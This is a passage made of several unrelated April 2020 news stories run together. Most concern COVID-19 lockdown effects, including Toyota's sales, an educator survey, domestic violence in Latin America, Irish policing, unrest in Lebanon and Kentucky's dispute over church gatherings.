not the solution. We also want people to help police in battling this pandemic. His colleagues in other parts of the city are innovating too. In Dwarka, they modified helmets into the shape of the coronavirus and, with the help of some volunteers, appealed to people to take necessary precautions in the wake of the pandemic. The volunteers wore the modified helmets and moved in Dwarka District area, interacting with the public and urged them to follow government guidelines and stay at home during the lockdown. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Share this article Whatsapp Facebook Twitter Linkedin (Kyodo News) Tokyo, Japan Tue, April 28, 2020 16:31 624 fc6853813033f564188675f8bd4bcf55 2 Business Toyota,COVID-19,sales,revenue Free Toyota Motor's global output and sales both fell over 20 percent from a year earlier in March as stay-at-home requests across the globe due to the coronavirus pandemic hit manufacturing activity and demand. Toyota said its global output dropped 20.6 percent to 640,973 vehicles and sales fell 23.8 percent to 681,510 units, including those sold by subsidiaries Daihatsu Motor, a minivehicle manufacturer, and truck maker Hino Motors. While Toyota's factories in China resumed operations last month, its plants in many parts of Europe, the United States and Asia remain closed as employees stay at home in line with government requests aimed at curbing the spread of the virus. Sales and production in Japan were also sluggish due to fewer visitors to dealers and showrooms, according to Toyota. By region, sales in Asia, excluding Japan, fell 30.4 percent from a year earlier to 171,028 vehicles, while Toyota sold 155,552 units in North America, down 37 percent. The figures are expected to fall further in April after Toyota expanded factory suspensions due to the rapid spread of the virus, with consumer spending also weak at home and abroad. Toyota has temporarily halted production lines at six of its domestic factories in April, leading to a decrease of some 47,000 units. It will again temporarily stop manufacturing in May, resulting in a cutback of at least around 79,000 units. Overseas demand heavily affects Toyota's domestic production, as it exported around 60 percent of 3.41 million vehicles manufactured domestically in 2019. Nearly half of the nations teachers and school district leaders said their opinion of U.S. Education Secretary Betsy DeVos has grown less favorable as a result of her response to the coronavirus pandemic, according to a new nationally representative survey administered by the Education Week Research Center. Six weeks after President Donald Trump declared a national emergency to combat the pandemic, the magnitude of the fallout in the nations K-12 schools is coming into focus. As it is, 43 states and four U.S. territories have now ordered or recommended that all schools remain closed for the remainder of this academic year, affecting roughly 45 million students . Truancy appears to be rising, teacher morale is declining, and district spending is being cut. The nature of teaching is dramatically changing, with the majority of teachers reporting that theyre spending less time on assessment and test preparation and more time on communicating with parents and troubleshooting technology problems. And the negative effects of the crisis are being felt most harshly by the countrys neediest schools and children. Following are 10 key findings from the EdWeek Research Center survey, which was completed online by 785 teachers and 322 district leaders on April 22 and 23. 1. Betsy DeVos was already unpopular with K-12 educators. Her approach to coronavirus has made those opinions worse. Betsy DeVoss approach to handling the coronavirus pandemicwhich has included pushing schools to take on difficult challenges, such as continuing to teach new material, despite the rocky transition to remote learningisnt winning her any popularity contests. Just six percent of survey respondents said their opinion of the secretary has grown more favorable, compared with 45 percent who say their opinion has grown less favorable. Forty-nine percent of respondents said their opinion of DeVos remains the same. Even before coronavirus, DeVos was unpopular. In the fall of 2017, the last time the EdWeek Research Center polled educators about her performance, just 10 percent said they had a favorable view of the Secretary. The recent coronavirus survey did not ask educators if they held a favorable or unfavorable view of Devos, but rather whether their view of her had improved or declined during the crisis. And DeVos faces big decisions in the weeks and months ahead. For an in-depth look at DeVoss high-stakes response to the coronavirus pandemic, check out this story from EdWeeks Politics K-12 team . 2. Educators approve of governors responses to the coronavirus impact on schools. Whose handling of the crisis do educators trust? Well over half the respondents to the EdWeek Research Centers survey said their opinion of their states governor has grown more favorable since the pandemic began, compared with just 17 percent who say their opinion has grown less favorable. EdWeek also broke out results for the eight states with the largest number of survey respondents. Mike DeWine of Ohio, a Republican who was the first governor in the country to order all his states schools closed and among the first to eliminate mandatory state testing, won the most points for his handling of coronavirus issues impacting schools. Eighty percent of survey respondents from Ohio said they now view DeWine more favorably. At least 70 percent of survey respondents also reported more favorable opinions of governors Gavin Newsom of California and J.B. Pritzker of Illinois, both Democrats who also took swift action. 3. Teachers say student truancy is getting worse, especially in high-poverty schools. Taking attendance and measuring student engagement during the shift to remote and online learning has proved difficult , and for weeks teachers have been lamenting the challenges associated with just making contact with each of their students. Alarmingly, the new survey results from the EdWeek Research Center suggest the problems may be getting worse. On average, teachers this time around reported that 25 percent of their students have been essentially truant (not logging in or making any contact, for example) during the coronavirus-related closures. Thats up from 21 percent on April 8. The survey results from the nations highest-poverty schools are particularly concerning. Teachers in schools where more than three-fourths of students come from low-income families reported that an average of 36 percent of students are now truant, up 4 percentage points from April 8. In schools where less than one-fourth of students come from low-income families, teachers reported a much lower average truancy rate of 20 percent. 4. School districts are tightening their belts, impacting teacher hiring plans. The majority of district leaders (58 percent) said theyve made at least minor spending reductions to their 2019-20 budgets. That figure shoots up to 76 percent in school districts with 10,000 students or morelikely because they are more dependent on revenue from state budgets that are getting slammed as coronavirus-related business closures and shelter-in-place orders decimate sales and income tax revenue. Among the cost-cutting measures increasingly being eyed by districts: slowing or freezing teacher hiring. Twenty-three percent of district leaders who responded to the EdWeek Research Center survey said the coronavirus fallout means no new teaching positions will be created for next school year, nearly double the share who said the same a month ago. For a detailed look at how the coronavirus is affecting school spending and how chief financial officers are working to stave off layoffs and other cuts next academic year, see this explainer . 5. Student and teacher morale continues to decline. The challenges of remote learning and the increasingly dire budget forecasts may be contributing to plummeting morale. The percentage of educators reporting that student morale post-coronavirus is much lower than it was prior to school closures has nearly doubled since March 25, from 16 to 31 percent. Teachers also report their own morale has declined steadily. As of April 23, 24 percent of teachers said their morale was lower than pre-coronavirus, up from 16 percent in late March. Also likely contributing to that uptick: four of five teachers say that teaching now is more stressful than it was pre-coronavirus. 6. The new school day: Less testing, more tech troubleshooting. Some of that stress is likely the result of teachers having to dramatically change the way they allocate their work time. Eighty percent of teachers who responded to the EdWeek Research Center survey said theyre spending more time troubleshooting technology problems, while 75 percent said there spending more time communicating with parents. At the same time, 62 percent of teachers said theyre spending less time on assessing their students knowledge (including formative assessments), and nearly two-thirds of teachers said theyre spending less time on test prep. The declines in time spent testing have been especially dramatic in the highest-poverty districts: 71 percent of teachers in districts where at three-fourths of students come from low-income families say theyre spending less time on formative and summative assessments, compared with 49 percent of teachers in districts with less poverty. 7. Online instruction is taking hold. Fully 93 percent of teachers reported that they are doing at least some online instruction, with 40 percent of teachers saying they are teaching online-only. That figure goes up to 68 percent in districts with the fewest low-income students; in districts with the most low-income students, just 36 percent of teachers say they are teaching online-only. The switch to online learning is being fueled in part by expanded access to digital devices. All told, 42 percent of educators who responded to the EdWeek Research Center survey said their students had more access to school-issued personal devices than they did prior to the pandemicalthough 18 percent of these educators reported that such expanded access is temporary and will end when schools re-open. 8. Teachers are most worried about reaching students who are low-achieving, poor, or living with disabilities. The EdWeek Research Center asked educators whether its now more challenging to meet the needs of seven different groups of students. Most responded yes for every group, including higher-achieving children and high school students. But educators are most worried about a few groups of students: 93 percent of respondents said its more challenging now to meet the needs of lower-achieving students, 92 percent said its more difficult to meet the needs of students from low-income families, and 91 percent said its more difficult to meet the needs of students with disabilities. 9. Despite challenges, educators remain optimistic about ed tech. Although they generally didnt sign up to be online instructors or IT support specialists, most educators remain relatively positive about the role of educational technology. Fifty-eight percent of survey respondents said their opinion of ed tech has grown more positive as a result of the increased usage of technology during the coronavirus closures. As is often the case, administrators have a rosier outlook than teachers: Just 6 percent of district leaders said their experiences during the coronavirus closures have led to a more negative view of ed tech, compared with 21 percent of teachers. Furthermore, in areas where access to 1-to-1 computing has increased and is expected to continue, nearly three-fourths of educators predicted that such expanded technology access will make high-quality teaching and learning easier after the pandemic is over. 10. Educators seem to approve of schools remaining closed through the end of the academic year. More than half of district leaders now say their schools are closed for the rest of the school year, up from 27 percent on April 8 and just 3 percent on March 25. District leaders in the West (69 percent), South (66 percent), and Midwest (63 percent) were far more likely than those in the Northeast (37 percent) to report such plans. The difference is likely related to many northeastern schools starting and ending comparatively late in the calendar year. These plans appear to sit well with educators. Asked when they thought schools should re-open, just 2 percent said now, compared with 28 percent who said in the fall. Survey respondents were also far more likely to put their faith in their states leader than in President Donald Trump: 21 percent of educators said schools should open after their governor says its safe, compared with 2 percent who said they should open when Trump says its safe. By Lucila Sigal, Natalia A. Ramos Miranda, Ana Isabel Martinez and Monica Machicao BUENOS AIRES/SANTIAGO/MEXICO CITY/LA PAZ (Reuters) - Lockdowns around Latin America are helping slow the spread of COVID-19, but are having a darker and less-intended consequence: a spike in calls to helplines suggests a rise in domestic abuse, in a region where almost 20 million women and girls suffer sexual and physical violence each year. In cities from Buenos Aires to Mexico City, Santiago, Sao Paulo and La Paz, families and individuals have been confined in their homes in an unprecedented way, often only allowed out for emergencies or to shop for essentials. Prosecutors, victim support teams, women's movements and the United Nations all say this has caused a rise in domestic violence towards women. They cite increasing numbers of calls to abuse hotlines. In some countries, like Mexico and Brazil, there has been a rise in formal reports of abuse, while in others, including Chile and Bolivia, there has been a drop in formal complaints. Prosecutors and UN Women said the latter was likely not due to a decline in violence, but because women were less able to seek help or report abuse through normal channels. "The jump in violence has not surprised us, it is the unleashing of a violence that was already there in people," said Eva Giberti, founder of the Victims Against Violence program in Argentina, who helps runs a hotline for women to report abuse. "Under normal social circumstances that had been limited to some degree." Argentina's emergency 137 line for abuse victims, supported by the justice department, has seen a 67% rise in calls for help in April versus a year earlier, after a nationwide lockdown was imposed on March 20. UN Women in a report on Wednesday said there was evidence of rising violence against women in Mexico, Brazil, and Colombia, and a doubling in the number of femicides in Argentina during the quarantine, citing a women's observatory in Mar del Plata. Story continues Pre-pandemic, the Argentine government estimates that a woman was killed every 23 hours. Domestic violence "seems to be another pandemic," said Lucia Vassallo, a film maker whose documentary "Line 137" looks at the issue. 'THEY DARE NOT GO OUT' Rising concern over domestic abuse has been global, with fears victims are being silenced in Italy, calls for help from women rising in Spain, and systems to prevent child abuse in the United States hampered by the lockdown. In Latin America, the fear is that violence against women that was already prevalent is being exacerbated further. The region has seen huge marches and strikes by women over the last year against male aggression and abuse. "In a situation of confinement, what is happening is that women are locked up with their own abusers in situations where they have very limited outlets," Maria Noel Baeza, regional director for UN Women, told Reuters. "Last year we had 3,800 femicides in the region, how many are we going to have this year?" In Chile, the women's minister said calls to domestic abuse helplines had increased 70% in the first weekend of quarantine. The government has bolstered counselling channels and looked to keep shelters open for women at risk. Evelyn Matthei, mayor of Santiago's wealthy Providencia district, told Reuters that calls for help to a local office providing legal, psychological and social help had leapt 500% under the lockdown. Formal reports of domestic violence, however, actually declined 40% in the first half of April in Chile, according to the national prosecutors' office, which the UN and prosecutors said was down to women having their movements restricted. "This probably has to do with the fact that there is violence within the home but that women cannot go out, they dare not go out," said Matthei. FEMINIST MANIFESTO In Brazil's Sao Paulo state, which has been hit hardest by the pandemic and imposed sweeping isolation measures, there was a 45% jump last month in cases of violence against women where police were dispatched, compared to a year earlier, according to thinktank the Brazilian Forum on Public Safety. In Mexico, complaints to police of domestic violence rose around a quarter in March against a year earlier, official data show. "Since the lockdown, there's been an increase in reports of domestic violence, many of those psychological violence," said Blanca Aquino, director of the Municipal Institute for Women of Veracruz, the Mexican state with the country's highest rate of femicides. Arussi Unda, from Mexican feminist organization Brujas del Mar, which offers advice to women in abuse cases, said initially many calls to the group had come from neighbours hearing fights in other houses. She said there had been a rise in cases of "digital violence" and recently women looking simply to escape. "Now we get many women asking for advice on how to leave the house and take their children without the partner later wanting to take them away by legal means," she said. In Colombia, daily domestic violence calls to a national women's hotline were up nearly 130% during the first 18 days of the country's quarantine, according to government figures. The lockdown has been extended until May 11. Marta Dillon, an Argentine journalist and one of the founders of the "Ni Una Menos" women's movement, said women around the world were looking to unite to tackle the issue. "Male violence has increased under the conditions of quarantine, of social isolation... Us feminists have been saying this in Italy, in Turkey, in the United States. We are putting together a document amongst ourselves that will be a manifesto." (Reporting by Lucila Sigal in Buenos Aires, Natalia Ramos in Santiago, Monica Machicao in La Paz, Ana Isabel Martinez in Mexico City, Julia Symmes Cobb in Bogota, and Pedro Fonseca in Rio de Janeiro; Writing by Adam Jourdan; Editing by Rosalba O'Brien) The months and months of work and recitation and learning culminate for the kids in a defining moment: the day when they are called upon to lead their family, friends and congregants in a service, Zalmanov said, called a bar mitzvah for young men and bat mitzvah for young women. After the service, everyone celebrates with a party full of food and pride in a job well done for the young person, and just like their older children before him, the Zalmanovs had big plans for Yudi. Mumbai, April 28 : Irrfan Khan is hospitalised with colon infection, according to an official statement released on behalf of the actor. The 53-year-old actor is admitted to Mumbai's Kokilaben Dhirubhai Ambani hospital. He is in the intensive care unit (ICU), as reported by IANS in an earlier report on Tuesday. "Yes it is true that Irrfan khan is admitted to ICU at Kokilaben in Mumbai because of a colon infection. We would keep everyone updated. He is under doctor's observation. His strength and courage have helped him battle and fight so far and we are sure with his tremendous willpower and prayers of all his well wishers, he will recover soon," said a statement issued on behalf of Irrfan by his spokesperson. The actor has been ailing ever since he was diagnosed with neuroendocrine tumour a while back, and has been under medical attention for the same. Irrfan is currently mourning the loss of his mother. The actor's mother Saeeda Begum breathed her last on Saturday in Jaipur where she used to stay. However, owing to the ongoing lockdown, the actor could not physically attend his mother's last rites and reportedly paid his last respect through video conferencing. On the work front, Irrfan Khan was last seen in "Angrezi Medium", last-released Bollywood film before COVID-19 forced complete shutdown of cinema halls. "Angrezi Medium" ran in theatres for just a day before halls all over India were shut down. Billionaire Mukesh Ambani's Reliance Industries Ltd (RIL) will on Thursday consider a rights issue - the first such issue in nearly three decades - as it steps up efforts to pare debt. The Board of the country's largest company will meet on April 30 to consider and approve audited financial results of the firm for the quarter and year ended March 31 as also to recommend dividend, RIL said in a regulatory filing. It would also "consider a proposal to issue equity shares to existing shareholders on Rights basis, as may be permitted under applicable law, subject to such regulatory/statutory approvals, as may be required," the company said without giving details. The move comes within days of RIL agreeing to sell 9.99 per cent stake in its digital platform to Facebook Inc for USD 5.7 billion or Rs 43,574 crore. Ambani had in August last year unveiled plans to cut debt to zero by 2021. As part of this plan, RIL has been seeking strategic partnerships across its businesses while targeting to deleverage the balance sheet. At the end of December quarter, RIL had an outstanding debt of Rs 3,06,851 crore. It also had cash in hand of Rs 1,53,719 crore, bringing the net debt position to Rs 1,53,132 crore. Analysts expect dilution of at least 5 per cent through the rights issue. In other words, each shareholder will be entitled to apply for five new shares for every 100 shares held. This will help RIL raise about Rs 40,000 crore, assuming some discount to the current trading price. Typically, cash-strapped companies use rights issues to raise money when they really need it. In these rights offerings, companies grant shareholders the right, but not the obligation, to buy new shares at a discount to the current trading price. The last time RIL tapped the public for funds was in 1991 when it had issued convertible debentures. The debentures were subsequently converted into equity shares at Rs 55 apiece. As part of its balancesheet deleveraging plans, RIL is talking to Saudi Aramco for selling a fifth of its oil-to-chemicals business for an asking of USD 15 billion and has sold half of its fuel retail venture to BP Plc for Rs 7,000 crore and telecommunication tower business to Brookfield for Rs 25,200 crore. But the crash in oil prices has created uncertainty over the timeline for the completion of the Aramco deal. On August 12, 2019, RIL announced that it has signed a non-binding letter of intent to sell a 20 per cent stake in its oil-to-chemical (O2C) business to Saudi Aramco. The O2C business, which has an enterprise valuation of USD 75 billion, includes RIL's refining and petrochemical divisions, and RIL's 51 per cent stake in its fuel marketing business. The company had sold a 49 per cent stake in its fuel marketing business in India to BP Plc for USD 1 billion. In July 2019, RIL announced the sale of its telecommunications tower business which was already transferred to the investment infrastructure trust, InvIT, to Brookfield Asset Management Inc for Rs 25,200 crore. Together, proceeds from these transactions will result in a reduction in RIL's net debt. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Day trippers who travel over the border into the Republic are "likely" to be breaking the law in Northern Ireland, the Garda Commissioner has said. Drew Harris outlined his position after it emerged that Garda officers are powerless to enforce coronavirus restrictions on day trippers from Northern Ireland. Calls have been made ahead of the Irish May bank holiday weekend for the PSNI to take action against people here who flout the social distancing regulations in the Republic. Garda officers have been ordered not to arrest anyone from Northern Ireland for suspected breaches of the Republic's coronavirus regulations because the emergency legislation only applies to residents in the south. The Republic's legislation would only apply to people from here if they stayed overnight in a holiday home or other accommodation. Speaking on RTE's Crimecall programme on Monday evening, Mr Harris said: "If they have travelled to us as day trippers out of Northern Ireland it's likely that they have breached the regulations as they are in Northern Ireland and the PSNI are out there as well." The legal loophole has led to growing pressure on PSNI Chief Constable Simon Byrne to ensure those who have been detected making non-essential journeys over the border can be prosecuted in this jurisdiction. We will engage with people from Northern Ireland who are here on a day trip - informing, educating them and looking for their support Drew Harris Alliance MLA John Blair earlier this week asked the chair of the Policing Board to question Chief Constable Simon Byrne on the matter, asking if the day-trippers' details can be passed onto passed to the PSNI by the Garda. On Tuesday, Mr Harris warned that gardai will "engage with" day trippers visiting from Northern Ireland ahead of the May bank holiday weekend. "We are working closely with the PSNI, particularly in the border area, to ensure co-operation is happening and that policing on both sides of the border is complementary," he said. "We will engage with people from Northern Ireland who are here on a day trip - informing, educating them and looking for their support." The Garda Commissioner, a former PSNI Deputy Chief Constable, also stressed that gardai have not seen behaviour to give them cause for "particular concern" about people crossing the border contrary to restrictions on movement. He said: "In general people have been very compliant. We find breaches of the regulations where we have to engage in enforcement are very rare". Large numbers of Garda checkpoints - involving more than 2,500 officers - have been set up across the country in a bid to deter people travelling for the upcoming bank holiday. Checkpoints have been situated on main arterial and smaller, rural roads. The operation, which will run until next Monday evening, will also see patrols near the border as previously witnessed during the Easter holidays. Gardai will also be patrolling tourist hotspots, major parks and walking routes in a bid to curb the spread of Covid-19. So far, gardai have arrested 76 people for allegedly failing to comply with restrictions on non-essential travel and exercise more than 2km from the home. PSNI officers have issued over 350 coronavirus-related penalty notices and nearly 600 community resolution notices. Hidden cases of coronavirus infection are not being picked up because the current testing regime is not yet broad enough, it emerged yesterday. Kingston Mills, professor of experimental immunology in Trinity College, said that testing is not detecting many people with asymptomatic infection, where a person has the virus but no symptoms. These asymptomatic cases account for a significant number of people who get the infection, he added. "They are being missed. An asymptomatic person can pass it to on another person," he said. "Some of studies in Iceland, Germany and California suggest they account for between 25pc and 50pc of all cases." Currently, only people who have symptoms who have been in contact with a person who is diagnosed with the virus are tested. Meanwhile, a decision on whether to ease the lockdown next week will go "down to the wire" as concerns grow about a slow down in suppressing the spread of the virus. Chief medical officer Dr Tony Holohan said the number of deaths, new cases of the virus and patients being admitted to intensive care continues to be too high at this point in time to start to ease any of the restrictions. Deliberations There is a week to go and the deliberations on a possible softening of the restrictions from May 5 by the National Public Health Emergency Team (NPHET) are set to continue until Friday. "The rate of improvement has slowed down. The number of patients in intensive care units had been dropping but the rate has slowed," he said. There are 146 seriously ill patients fighting for their lives in intensive care. Another 18 people lost their lives to the disease yesterday, bringing the death toll to 1,102. A further 386 new cases of the virus were diagnosed, several of whom are residents of long-term residential centres including nursing homes. Dr Holohan said 546 people who have died from the virus were residents of nursing homes - 49.5pc of all fatalities. Following a mass testing of residents and staff in residential homes it has emerged there have been 211 clusters in nursing homes with 3,048 infections. He said that this week would provide a measure of the testing system to see how well it is responding to demands. The HSE said at the weekend it would be mid-May before it could provide 100,000 tests a week, a number which Dr Holohan said was essential to provide proper surveillance of the disease if there is an easing of the lockdown. Meanwhile, leading infectious disease experts last night revealed that hopes of an antibody test being able to determine if someone is immune from getting Covid-19 again after testing positive are a long way off. Prof Luke O'Neill, chair of Biochemistry at Trinity College, administered a pinprick antibody test to RTE broadcaster Claire Byrne during her current affairs programme last night. She tested positive for Covid-19 around a month ago and has fully recovered. However, while her body should have produced an antibody called IGG that might protect her from re-infection about three to four weeks after the infection, the test revealed none in her bloodstream. "Sadly this tells us that these things don't really work," said Prof O'Neill of the test. Infectious disease consultant Prof Paddy Mallon agreed. "They can't tell you if you've got immunity. They don't give you any reassurance. These antibody tests are useless," he said. A national phone support service to help newly discharged stroke survivors make the transition back home in the midst of the Covid-19 pandemic has been launched by the Irish Heart Foundation in conjunction with the HSEs National Stroke Programme. The check-in service is a ground-breaking response to significant reductions in community supports for stroke survivors resulting from both illness and the redeployment of large numbers of healthcare professionals to help tackle the Covid-19 emergency, coupled with earlier than usual discharge of many patients from hospital. Leaving the care of an expert team of doctors, nurses, and therapists to return home after suffering a brain injury is likely to be traumatic at any time. To do so without help to transition at a time of national health crisis and in many cases earlier than would normally be the case is a lot to ask of stroke patients, said Irish Heart Foundation Head of Advocacy, Chris Macey. We know from supporting stroke survivors in our groups around the country the extreme impact that COVID-related anxiety and isolation is having on people who are well settled back in the community and were naturally eager step into the breach with the help of the HSEs National Stroke Programme to provide this vital service to some of Irelands most vulnerable citizens. The phone service which became operational last week involves trained and experienced Irish Heart Foundation staff and volunteers making regular calls to stroke survivors who have been referred by acute hospital stroke teams to check on their health and wellbeing, provide information and advice about recovery from stroke and to make sure that practical needs are met enabling stroke survivors to stay safe. Initially, the calls are being made by the Irish Heart Foundations team of stroke support coordinators who are already supporting hundreds of members of the charitys stroke groups across the country. But as volumes increase, volunteers including stroke survivors and carers will also be activated. The callers are backed up by the Irish Heart Foundations support line nurses, whilst a traffic light system is in place to escalate calls when necessary to stroke nurses or the emergency services. Said Professor Ronan Collins, the HSEs National Clinical lead for Stroke: Returning to life after stroke can be challenging at the best of times and may seem more difficult to recovering patients in the current COVID crisis. With the added pressure on health services created by the crisis, our normal hospital and community supports for stroke patients may be reduced through staff redeployment and illness. The support to patients offered by this initiative from the Irish Heart Foundation is greatly welcomed by the National Stroke Programme. Its estimated that around 7,500 people are hospitalised after a stroke in Ireland each year the equivalent of 21 strokes a day nationwide and the majority of people will be discharged home after spending an average of around two weeks in hospital. This means that every day the numbers needing support are growing, added Mr. Macey. However, whilst this service was primarily established to assist newly discharged stroke patients, we have developed the capacity to support any stroke survivor, regardless of how long they have been living with the condition. Our message to every stroke survivor in the country is that if you need us, we are here for you. In addition to the phone check-in service that actively makes calls to stroke patients, the Irish Heart Foundations nurse support line is available to answer questions any member of the public may have on any aspect of heart disease and stroke. Nurses can be contacted by calling 01 668 5001 or emailing support@irishheart.ie. The Irish Heart Foundations nurse support line is open Monday to Friday between 9am and 5pm to take calls and emails from people living with heart disease and stroke and who are concerned about the coronavirus. Call 01 668 5001 or email support@irishheart.ie. Act F.A.S.T The FAST acronym was developed to inform the public about the key symptoms of a stroke: Face has their face fallen on one side? Can they smile? Arms can they raise both arms and keep them there? Speech is their speech slurred? Time time to call 112 or 999 if you see any one of these signs. by Pierre Balanian Yesterday in Tripoli, in a clash between demonstrators and the army, there was one dead and 39 wounded, including 4 soldiers. The demonstrators are perhaps mercenaries. Opposition launches attack - former Prime Minister Saad Hariris Future Party, Walid Jumblat's Progressive Socialist Party, Samir Geagea's Lebanese Forces - against Hassan Diab's government. The governor Riad Salame considered "protector of the corrupt." Beirut (AsiaNews) The incinerated carcasses of two army vehicles set, looted shop windows, banks set on fire, glass shards, bloodstains: these are the signs that the city of Tripoli bear this morning, after the clashes between the army and demonstrators. Despite the Covid-19 pandemic, protests sparked by the economic crisis have returned to the streets of Tripoli and other cities, such as in Sunni Sidon, in some streets of Beirut, in the Sunni area of the Bekaa. The toll in Tripoli is one dead and 39 injured, including 4 soldiers. The protesters resorted to Molotov glass bottles, the military - who came to enforce social distancing - used real and not rubber bullets. Taking advantage of the coronavirus emergency, the new government had cleared the center of Beirut, the hub of anti-corruption sit-ins, but the economic crisis that has wrecked the country, with the pandemic paralysis, has only worsened. The social distancing has caused greater misery, with increases of 100% on prices and the US dollar now trading at 4200 Lebanese pounds on the black market (before the riots in October 2019 it was traded at 1500). Yesterday the government arrested 19 black market money changers accused of speculation. But the category is in open revolt claiming it supports the free market. Yesterdays demonstrators were mainly young people, suspected of protesting in organized groups like mercenaries. After all, why take to the streets now, despite the risk of contamination? Meanwhile, opposition parties - the future of ex-Prime Minister Saad Hariri, Walid Jumblat's Progressive Socialist Party, Samir Geagea's Lebanese Forces - are launching an attack on the government of technocrats of Hassan Diab and in defense of the Lebanese banking system, more likely of the governor of the Lebanese Central Bank, Riad Salame. According to several analysts, the Diab government, even without much experience, has proven effective in the fight against Covid-19 and aims to "maintain the stability of the Lebanese currency" and "save the country's financial and economic stability". Instead, Governor Salame seems to have other intentions: a person chosen by Washington at the time, he continues to protect the personalities and parties that have impoverished the country in the past. A high-profile dissident republican is being prosecuted over his alleged role in a New IRA-linked parade that took place the day after the gang murdered young author Lyra McKee. Stephen Murney - who once beat a collecting information for terrorists rap - is one of seven men and women in court over the illegal Easter Saturday event. Organised by the New IRA's political wing Saoradh, it went ahead in Newry just 24 hours after the paramilitary group gunned down Lyra in Derry in April 2019. Expand Close Lyra McKee / Facebook Twitter Email Whatsapp Lyra McKee This was despite police warning that the event at St Mary's Cemetery was unlawful because the Parades Commission had not been informed, and others called for it to be cancelled as a mark of respect to the slain 29-year-old journalist. Ignoring their pleas Saoradh went ahead with the parade to mark the anniversary of the 1916 Easter Rising. Murney was pictured wearing a black beret and carrying a tricolour at the head of the procession which ended with wreath laying at republican graves. The 36-year-old now finds himself in court for his role in the event, charged with taking part in an unlawful parade. Expand Close Stephen Murney Easter 2019 Newry / Facebook Twitter Email Whatsapp Stephen Murney Easter 2019 Newry So too does leading Saoradh Newry member Anthony Coyle (57), who is a community ambassador for Newry, Mourne and Down District Council. He closed the Easter commemoration, saying: "Your attendance has ensured that we have made a dignified and fitting tribute to our IRA patriot dead despite crown force provocation." Also charged with taking part in the unlawful parade are Michael Doran (63), from John F Kennedy Park in Bessbrook, and Aidean Hynes (39) with an address at Mourne View Park, Newry. So too are Cliodhna McCool (27) from Derrybeg Terrace, Newry, Niall Reynolds (29) with an address at Woodside Green in Portadown, and Oliver White (45) from Barley Mews in Newry. The case was briefly mentioned at Newry Magistrates Court last week, and is listed again for an update next month. The prosecution of the Saoradh members comes against the backdrop of the New IRA-supporting political party going on a recruitment drive throughout Newry. Locals say this is led by Anthony Coyle and Stephen Murney, who were central to the opening of its office on St Mary's Street in the city in March. Expand Close Anthony Coyle / Facebook Twitter Email Whatsapp Anthony Coyle The pair are also known to have been at loggerheads with Sinn Fein members, accusing them of removing a Saoradh Easter tribute left at the grave of IRA members. This has been denied by mainstream republicans who accused the dissident grouping of "trying to make trouble". Murney, who is effectively the face of Soaradh in Newry, was previously in the headlines when he was acquitted in court of collecting information for terrorists. He spent 14 months on remand in the Roe House dissident wing of Maghaberry Prison before a court found him not guilty. Murney had been accused to taking photographs of serving police officers and sharing them on social media, but he successfully argued that he was only doing this to highlight what he said was PSNI oppression and that he had no sinister motive. Since then he was gone on to forge close relationships with several prominent dissident republicans including the New IRA's leader in Derry, Thomas Mellon. Murney, who often visits the city, was photographed on one of these trips with a group of dissidents including the teen killer of Lyra McKee. There is no suggestion he has any knowledge of the journalist's murder by the New IRA, or any of its other crimes. When challenged about why Saoradh was going to stage an unlawful parade in Newry the day after Lyra's killing, Murney said: "We will pay tribute to all those who have fought, died and assisted in the cause of Irish freedom." cbarnes@sundaylife.co.uk A councilman in northwest Argentina was arrested twice in the same day for allegedly driving under the influence of alcohol and ignoring the country's nationwide lockdown. Victor Dario Hauy, a member of the Catamarca province's council, was pulled over by a patrol unit on Highway 38 in the city of Miraflores at 1:10am. The 43-year-old was subjected to breathalyzer tested which allegedly registered Hauy's blood alcohol level at 2.03, surpassing the .50 limit permitted by Argentine law. Hauy is then alleged to have driven off in his car while the police officers where documenting the traffic stop, almost running over one of the cops and sparking a chase before he was caught. Argentine councilman Victor Dario Hauy was arrested twice Sunday for allegedly violating the country's coronavirus lockdown measures and driving under the influence of alcohol Victor Dario Hauy, a member of the Catamarca province's council, registered a 2.03 blood alcohol level, well over the .50 limit permitted in Argentina, when he was pulled over on a highway in the city of Miraflores on Sunday Hauy was taken to the Miraflores station house and was processed before he was released. The politician's second brush with the law took place at 9:30pm in Capayan, a city in Catamarca. Hauy was apprehended and booked for operating a vehicle under the influence of alcohol. Councilman Victor Dario Hauy was pulled over twice Sunday for allegedly driving under the influence of alcohol and ignoring Argentina's coronavirus lockdown measures He appeared before a judge Monday and was charged with one count of resisting arrest and two counts of violating the nationwide quarantine order. Since President Alberto Fernandez imposed a lockdown order to combat the spread of the coronavirus pandemic on March 20, more than 60,000 people have been arrested. The police have also confiscated more than 3,800 vehicles. As of Tuesday, Argentine health officials had reported 197 deaths and 4,003 cases directly connected to the coronavirus epidemic. By West Kentucky Star Staff Apr. 28, 2020 | 03:47 PM | FRANKFORT In a Tuesday press conference, Cameron says he is calling on Beshear to end his "targeting of faith-based gatherings" during the pandemic. He is asking Beshear to allow in-person church gatherings so long as they follow CDC guidelines. Cameron said that if Beshear refuses to rescind his executive order that restricts in-person services, he will file a lawsuit against Beshear for violating the First Amendment rights of Kentuckians. "The First Amendment provides the citizens of this country with the specific, enumerated right to practice their religious beliefs, free from targeting and discrimination," said Cameron. "By specifically banning faith-based mass gatherings while allowing other secular organizations and activities to continue operation, Gov. Beshear has deliberately targeted religious groups. This pattern of targeting continued when the Governor ordered state police to track the license plates of those who attended a faith-based gathering on Easter Sunday, and it continues even this week as he allows some businesses to resume operations." Cameron has also announced that his office is continuing to support the First Amendment rights of Kentuckians in two ongoing federal court cases, Maryville v. Beshear and Roberts v. Beshear, by filing amicus briefs. Each case calls into question the constitutionality of Beshear's executive orders banning faith-based mass gatherings. "Kentucky law gives the Governor broad power during a state of emergency, but it does not give him the power to violate the First Amendment by discriminating against faith-based practices," added Cameron. "We cannot, in good faith, move forward from this health crisis together if we have allowed faith-based groups to be unfairly targeted during the process. Governor Beshear should immediately rescind the executive orders targeting faith-based gatherings, and, if he doesn't, then we will be forced to file a lawsuit and allow a judge to determine whether his order, as it pertains to religious groups, is constitutional." In a separate move, Cameron said he has notified a federal court of his position that Beshear's travel ban infringes on the constitutional rights of Kentuckians to travel across state lines. In the filing, Cameron asks the court to realign him as a plaintiff to represent Kentuckians to protect their constitutional right to travel. Beshear's executive orders instruct Kentuckians to not travel to other states during the pandemic. If Kentuckians violate the order by traveling to another state, they are then required to self-quarantine for 14 days. Cameron says that violating the order could result in a Class A misdemeanor pursuant to KRS 39A.990. You can see Cameron's full press conference and a copy of the motion at the links below. 